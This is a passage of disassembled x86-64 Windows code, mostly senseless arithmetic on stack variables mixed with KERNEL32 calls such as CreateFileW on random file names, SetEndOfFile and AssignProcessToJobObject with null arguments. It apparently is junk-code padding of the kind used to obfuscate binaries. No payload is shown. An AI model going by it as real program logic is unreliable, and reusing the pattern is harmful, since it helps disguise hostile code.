mov byte [rsp + 0x8ba], al
mov rax, qword [0x1402bf468]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce04]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf5d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a098]
mov rcx, qword [rsp + 0x1adf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaf94], eax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a9f0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x891], al
lea rax, [rsp + 0x388c]
mov qword [rsp + 0x1ae08], rax
mov rax, qword [rsp + 0x19d10]
mov rcx, qword [rsp + 0x1aad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd7f8], eax
lea rax, [rsp + 0xd198]
mov qword [rsp + 0x1ae10], rax
mov rax, qword [rsp + 0x1ab68]
mov rcx, qword [rsp + 0x1ab78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa1c8], eax
mov eax, dword [rsp + 0xda5c]
mov ecx, dword [rsp + 0xdebc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a6f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a878]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov word [0x1402bf368], ax
mov eax, dword [rsp + 0xb024]
mov ecx, dword [rsp + 0xc478]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a420]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1aa68]
mov eax, dword [rax]
mov dword [rsp + 0xdf28], eax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb0e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xda1c], eax
mov eax, dword [rsp + 0xad64]
mov dword [rsp + 0xdf2c], eax
mov rax, qword [rsp + 0x1a080]
mov rcx, qword [rsp + 0x19750]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9460], eax
movsx eax, word [0x1402ad7f0]
movsx ecx, word [rsp + 0x2d38]
sub eax, ecx
mov word [rsp + 0x395c], ax
mov rax, qword [rsp + 0x1aaf0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a270]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5dc], al
movzx eax, byte [rsp + 0x451]
movzx ecx, byte [0x1402acbbe]
add eax, ecx
mov byte [rsp + 0x2d3], al
mov rax, qword [rsp + 0x1a2b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22dc]
sub eax, ecx
mov word [0x1402ad75c], ax
mov rax, qword [rsp + 0x19dc0]
mov eax, dword [rax]
mov dword [rsp + 0xdf30], eax
mov eax, dword [rsp + 0xd298]
mov ecx, dword [rsp + 0xbdbc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xdaa0], eax
mov rax, qword [rsp + 0x1a8e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a8f8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3828], ax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
mov byte [rsp + 0x8bb], al
mov rcx, qword [rsp + 0x1a278]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xd790]
movzx ecx, al
mov eax, dword [rsp + 0xd194]
sar eax, cl
mov dword [rsp + 0xd2b4], eax
lea rcx, [rsp + 0x19cd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0xd634]
movzx ecx, al
mov eax, dword [rsp + 0xddcc]
shl eax, cl
mov dword [rsp + 0xc754], eax
mov rax, qword [rsp + 0x1a0e8]
mov ecx, dword [rsp + 0xa1c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xda24], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xdf14], eax
mov eax, dword [rsp + 0xd548]
mov ecx, dword [rsp + 0xc224]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfe0], eax
movzx eax, byte [rsp + 0x8a3]
movzx ecx, byte [rsp + 0x84c]
sub eax, ecx
mov byte [0x1402acc83], al
lea rax, [rsp + 0x38f4]
mov qword [rsp + 0x1ae18], rax
mov rax, qword [rsp + 0x1a448]
mov rcx, qword [rsp + 0x19dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xced8], eax
mov eax, dword [rsp + 0xd7f8]
mov dword [rsp + 0xdf34], eax
movsx eax, word [rsp + 0x3aa0]
movsx ecx, word [rsp + 0x3a3c]
add eax, ecx
mov word [rsp + 0x3304], ax
mov rax, qword [rsp + 0x19ff0]
movzx eax, byte [rax]
mov byte [rsp + 0x8bc], al
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a878]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x815], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36f0]
add eax, ecx
mov word [rsp + 0x3854], ax
lea rax, [rsp + 0xde2c]
mov qword [rsp + 0x1ae20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1ae28], rax
mov eax, dword [rsp + 0xd138]
mov ecx, dword [rsp + 0xc0fc]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad914], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a78], eax
lea rax, [rsp + 0xcefc]
mov qword [rsp + 0x1ae30], rax
mov eax, dword [rsp + 0xb4a4]
mov ecx, dword [rsp + 0xcf30]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xda10], eax
movzx eax, byte [0x1402acbb3]
mov rcx, qword [rsp + 0x1a4f0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x1a2d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2f14]
mov rcx, qword [rsp + 0x1ab48]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2610], ax
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd644], eax
mov edx, 0x1248
mov rcx, qword [rsp + 0x199b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xce38], eax
mov eax, dword [0x1402ad7d8]
mov rcx, qword [rsp + 0x1a178]
mov qword [rsp + 0x1ae38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ae38]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x19780]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd5ac]
mov dword [rsp + 0xdf38], eax
mov rax, qword [rsp + 0x19e80]
mov rcx, qword [rsp + 0x1a6f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd6fc], eax
mov eax, dword [rsp + 0xd3e0]
mov ecx, dword [0x1402ad854]
add ecx, eax
mov eax, ecx
mov dword [0x1402bf5d8], eax
movzx eax, word [rsp + 0x181c]
mov rcx, qword [rsp + 0x1a7b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3a2c], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov byte [rsp + 0x8bd], al
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x83b]
sub eax, ecx
mov byte [rsp + 0x791], al
movzx eax, word [rsp + 0x1b94]
mov word [rsp + 0x3ba8], ax
mov rax, qword [rsp + 0x1a0d0]
mov ecx, dword [rsp + 0xa198]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbb04], eax
mov rax, qword [rsp + 0x1acb0]
mov ecx, dword [rsp + 0xad2c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1a498]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a568]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x5f6], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.4qUSs1ZPWFdLMgQF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1ae40], rax
mov r9d, 1
lea r8, [rsp + 0x19918]
mov rdx, qword [rsp + 0x19e60]
mov rcx, qword [rsp + 0x1a2f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xdef8], eax
movzx eax, word [rsp + 0x3b40]
movzx ecx, word [0x1402bf61a]
add eax, ecx
mov word [rsp + 0x370c], ax
mov eax, dword [rsp + 0x9a74]
mov dword [0x1402bf364], eax
mov rax, qword [rsp + 0x1a738]
mov eax, dword [rax]
mov dword [rsp + 0xdf3c], eax
mov rax, qword [rsp + 0x1add0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd6dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd534], eax
mov eax, dword [rsp + 0x9a74]
mov dword [rsp + 0xdf40], eax
mov rax, qword [rsp + 0x1a0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x716]
sub eax, ecx
mov byte [rsp + 0x860], al
movzx eax, word [rsp + 0x3968]
movzx ecx, word [rsp + 0x3a64]
sub eax, ecx
mov word [rsp + 0x3b48], ax
mov eax, dword [rsp + 0xdd1c]
mov rcx, qword [rsp + 0x19cf8]
mov qword [rsp + 0x1ae48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ae48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xae58], eax
mov rax, qword [rsp + 0x1a588]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8754]
sar eax, cl
mov dword [rsp + 0xd18c], eax
mov eax, dword [0x1402ad890]
mov dword [rsp + 0xdf44], eax
mov rax, qword [rsp + 0x1a070]
mov ecx, dword [rsp + 0xd744]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402ad7b0], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xce6c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd8d4], eax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x19a98]
mov byte [rcx], al
movzx eax, word [rsp + 0x2f5c]
mov word [rsp + 0x3bac], ax
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x181c]
sub eax, ecx
mov word [rsp + 0x2a04], ax
mov rax, qword [rsp + 0x1a980]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xef], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd2ec], eax
mov rax, qword [rsp + 0x1a570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd098], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xd8d8]
mov ecx, dword [0x1402ad84c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5f8], eax
lea rax, [rsp + 0x883]
mov qword [rsp + 0x1ae50], rax
movzx eax, word [rsp + 0x3814]
movzx ecx, word [rsp + 0x1f7c]
sub eax, ecx
mov rcx, qword [0x1402bf688]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a150]
mov ecx, dword [rsp + 0xd854]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbba0], eax
mov eax, dword [rsp + 0xcfb0]
mov dword [rsp + 0xdf48], eax
mov rax, qword [rsp + 0x19d38]
mov rcx, qword [rsp + 0x19ab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd5fc], eax
mov rax, qword [0x1402bf3f8]
mov ecx, dword [rsp + 0xd59c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1aca0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd104], eax
movzx eax, word [rsp + 0x2ad4]
mov word [rsp + 0x3bb0], ax
movzx eax, byte [rsp + 0x79a]
mov rcx, qword [rsp + 0x1a6c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x855], al
mov eax, dword [rsp + 0xd790]
movzx ecx, al
mov eax, dword [rsp + 0xdca8]
sar eax, cl
mov dword [rsp + 0xc67c], eax
mov rax, qword [rsp + 0x1a428]
mov ecx, dword [rsp + 0xd1d4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd5f8], eax
mov rax, qword [0x1402bf3f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a470]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402ad918], ax
lea rax, [rsp + 0x852]
mov qword [rsp + 0x1ae58], rax
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3008]
or eax, ecx
mov word [rsp + 0x36f0], ax
mov rax, qword [0x1402bf490]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x884]
and eax, ecx
mov byte [rsp + 0x613], al
mov eax, dword [rsp + 0xbb10]
mov dword [rsp + 0xdf4c], eax
mov rax, qword [rsp + 0x1a608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc8f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19b08]
mov dword [rcx], eax
mov eax, dword [0x1402ad6c0]
mov dword [rsp + 0xdf50], eax
mov rax, qword [rsp + 0x1a718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc9bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd114], eax
mov rax, qword [rsp + 0x1a620]
mov ecx, dword [rsp + 0xd570]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd150], eax
mov rax, qword [rsp + 0x1a4a8]
movzx eax, word [rax]
mov word [rsp + 0x3bb4], ax
movzx eax, byte [rsp + 0x805]
mov rcx, qword [rsp + 0x19d90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acc8a], al
mov eax, dword [0x1402bf388]
mov ecx, dword [rsp + 0xdc60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd058], eax
mov rax, qword [rsp + 0x1aa68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd888]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x95c0], eax
mov rax, qword [rsp + 0x19f60]
mov ecx, dword [rsp + 0xadbc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xc9c0], eax
mov eax, dword [rsp + 0xd2bc]
mov ecx, dword [0x1402bf39c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19eb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1ae18]
movzx eax, word [rax]
mov word [rsp + 0x3bb8], ax
mov rax, qword [rsp + 0x1abc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x613], al
movzx eax, byte [0x1402acb9f]
mov byte [rsp + 0x8be], al
mov rax, qword [rsp + 0x1a540]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x30f4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x1a0b8]
mov rcx, qword [rsp + 0x1a250]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402ad66c], eax
mov eax, dword [rsp + 0xcef0]
mov rcx, qword [0x1402bf5c0]
mov qword [rsp + 0x1ae60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ae60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xafbc], eax
mov rax, qword [rsp + 0x1abc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7c0], al
movzx eax, word [0x1402bf642]
movzx ecx, word [rsp + 0x393c]
imul eax, ecx
mov word [rsp + 0x2880], ax
lea rax, [rsp + 0xdc2c]
mov qword [rsp + 0x1ae68], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xdb00], eax
mov rax, qword [rsp + 0x19f88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc60], eax
mov eax, dword [rsp + 0xd4e8]
mov dword [rsp + 0xdf54], eax
mov rax, qword [rsp + 0x19d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd868]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd26c], eax
movzx eax, byte [rsp + 0x590]
movzx ecx, byte [rsp + 0x888]
add eax, ecx
mov byte [rsp + 0x7bd], al
movzx eax, word [0x1402ad648]
mov word [0x1402bf362], ax
mov eax, dword [rsp + 0xd46c]
mov dword [rsp + 0xdf58], eax
mov eax, dword [rsp + 0xde40]
mov ecx, dword [rsp + 0xd0ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xde48], eax
mov rax, qword [rsp + 0x199c8]
mov ecx, dword [0x1402ad6c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x82d8], eax
mov rax, qword [rsp + 0x1a450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdad8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9368], eax
mov rax, qword [rsp + 0x19c00]
mov ecx, dword [0x1402ad83c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd94], eax
movzx eax, byte [rsp + 0x83c]
mov byte [rsp + 0x8bf], al
mov rax, qword [rsp + 0x1a818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a8a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3768], ax
lea rax, [rsp + 0x37b4]
mov qword [rsp + 0x1ae70], rax
movzx eax, byte [0x1402acc4a]
movzx ecx, byte [rsp + 0x848]
imul eax, ecx
mov byte [0x1402bf579], al
mov eax, dword [rsp + 0xd7c0]
mov ecx, dword [rsp + 0xb798]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa430], eax
mov dword [rsp + 0x2d9b0], 0x114
mov rax, qword [rsp + 0x1aa00]
mov rcx, qword [rsp + 0x19e18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa478], eax
movzx eax, word [rsp + 0x3b9c]
mov word [rsp + 0x3bbc], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xce0c], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2526
mov rcx, qword [rsp + 0x1a708]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd618], eax
mov rax, qword [rsp + 0x1a170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86b]
or eax, ecx
mov byte [rsp + 0x8a3], al
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a098]
mov qword [rsp + 0x1ae78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ae78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x91d8], eax
mov eax, dword [rsp + 0xd654]
movzx ecx, al
mov eax, dword [rsp + 0x8f54]
shr eax, cl
mov dword [rsp + 0xdba8], eax
mov eax, dword [rsp + 0xd0ac]
mov dword [rsp + 0xdf5c], eax
mov rax, qword [0x1402bf378]
mov rcx, qword [rsp + 0x1a268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9404], eax
mov rcx, qword [rsp + 0x19bc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4c2]
sub eax, ecx
mov byte [0x1402acc8b], al
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
mov rcx, qword [0x1402bf600]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x31b4], ax
mov rax, qword [rsp + 0x1ac40]
mov eax, dword [rax]
mov dword [rsp + 0xdf60], eax
mov rax, qword [rsp + 0x1a630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcea8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f14], eax
mov rax, qword [rsp + 0x19f90]
movzx eax, word [rax]
mov word [rsp + 0x3bc0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.ReCqzUx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1ae80], rax
movsx eax, byte [0x1402bf644]
mov rcx, qword [rsp + 0x1aa78]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7fc], al
movzx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a4], al
lea rax, [rsp + 0x3638]
mov qword [rsp + 0x1ae88], rax
mov rax, qword [0x1402bf468]
mov rcx, qword [rsp + 0x1a610]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2e8], eax
mov eax, dword [rsp + 0xdab0]
mov ecx, dword [rsp + 0xa210]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf770], eax
lea rax, [rsp + 0xce64]
mov qword [rsp + 0x1ae90], rax
mov rax, qword [rsp + 0x1ad60]
mov ecx, dword [rsp + 0xaa10]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19ef8]
mov ecx, dword [rsp + 0xddb0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd9f8], eax
mov rax, qword [rsp + 0x1a318]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35dc]
sub eax, ecx
mov word [rsp + 0x1ec0], ax
mov rax, qword [rsp + 0x1a6b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
xor eax, ecx
mov byte [rsp + 0x7cf], al
lea rcx, [rsp + 0x2aff0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0xad2c]
mov dword [rsp + 0xdf64], eax
mov eax, dword [rsp + 0x9490]
movzx ecx, al
mov eax, dword [0x1402ad688]
shl eax, cl
mov dword [rsp + 0x9cd4], eax
mov eax, dword [rsp + 0xb000]
mov dword [rsp + 0xdf68], eax
mov eax, dword [rsp + 0x911c]
mov rcx, qword [rsp + 0x19740]
mov qword [rsp + 0x1ae98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ae98]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402bf5b4], eax
movzx eax, byte [rsp + 0x7e1]
mov rcx, qword [rsp + 0x1a568]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x511], al
mov rax, qword [rsp + 0x1a650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3818]
cdq
idiv ecx
mov word [rsp + 0x2e88], ax
movsx eax, byte [rsp + 0x835]
mov rcx, qword [rsp + 0x198c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x513], al
mov rax, qword [rsp + 0x19dd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3970], ax
lea rax, [rsp + 0x9c14]
mov qword [rsp + 0x1aea0], rax
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdeec], eax
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a650]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3994], ax
movzx eax, byte [rsp + 0x41d]
mov byte [rsp + 0x8c0], al
mov rcx, qword [rsp + 0x1ad98]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xddec], eax
movzx ecx, word [rsp + 0x397c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3bc4], ax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov ecx, dword [0x1402ad868]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad91c], eax
mov rax, qword [rsp + 0x1ab68]
mov rcx, qword [rsp + 0x1a630]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd6e8], eax
mov rax, qword [rsp + 0x1a9e8]
mov eax, dword [rax]
mov dword [rsp + 0xdf6c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd1c0], eax
mov eax, dword [rsp + 0xcffc]
mov ecx, dword [rsp + 0xd374]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8540], eax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a188]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x798], al
movzx eax, word [rsp + 0x37a0]
movzx ecx, word [0x1402ad8b8]
add eax, ecx
mov word [rsp + 0x19e4], ax
mov eax, dword [rsp + 0xda28]
movzx ecx, al
mov eax, dword [rsp + 0xd40c]
sar eax, cl
mov rcx, qword [rsp + 0x1a428]
mov dword [rcx], eax
mov eax, dword [rsp + 0xddfc]
mov dword [rsp + 0xdf70], eax
mov rcx, qword [rsp + 0x1ae80]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd07c], eax
mov rcx, qword [rsp + 0x1a238]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xdf74], eax
mov eax, dword [rsp + 0xd59c]
mov ecx, dword [0x1402ad8a4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xde94], eax
mov rax, qword [rsp + 0x1a0e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x951c]
shl eax, cl
mov dword [0x1402ad920], eax
mov rax, qword [rsp + 0x1a098]
mov rcx, qword [rsp + 0x1a498]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd194], eax
mov rax, qword [rsp + 0x1a028]
movzx eax, word [rax]
mov word [rsp + 0x3bc8], ax
movsx eax, byte [rsp + 0x889]
movsx ecx, byte [rsp + 0x4bc]
and eax, ecx
mov byte [rsp + 0x7df], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xddb4], eax
mov rax, qword [rsp + 0x1ac60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fb]
imul eax, ecx
mov byte [rsp + 0x73d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx eax, word [rsp + 0x3b1c]
mov rcx, qword [rsp + 0x1a7c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c50], ax
mov eax, dword [rsp + 0xcd4c]
mov dword [rsp + 0xdf78], eax
mov eax, dword [rsp + 0xd818]
mov ecx, dword [rsp + 0xb958]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f50], eax
movzx eax, word [rsp + 0x252c]
movzx ecx, word [rsp + 0x3ab4]
add eax, ecx
mov word [rsp + 0x368c], ax
movzx eax, byte [rsp + 0x78a]
mov rcx, qword [rsp + 0x19f98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acc66], al
mov rax, qword [rsp + 0x1ad50]
mov eax, dword [rax]
mov dword [rsp + 0xdf7c], eax
mov rax, qword [rsp + 0x1a990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd710]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd620], eax
lea rax, [rsp + 0xd68c]
mov qword [rsp + 0x1aea8], rax
mov rax, qword [rsp + 0x1ac40]
mov rcx, qword [rsp + 0x19e50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd03c], eax
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a4e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1a5c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3834]
add eax, ecx
mov word [rsp + 0x2718], ax
mov rax, qword [rsp + 0x1ab78]
mov ecx, dword [rsp + 0xdbd0]
mov eax, dword [rax]
sub eax, ecx
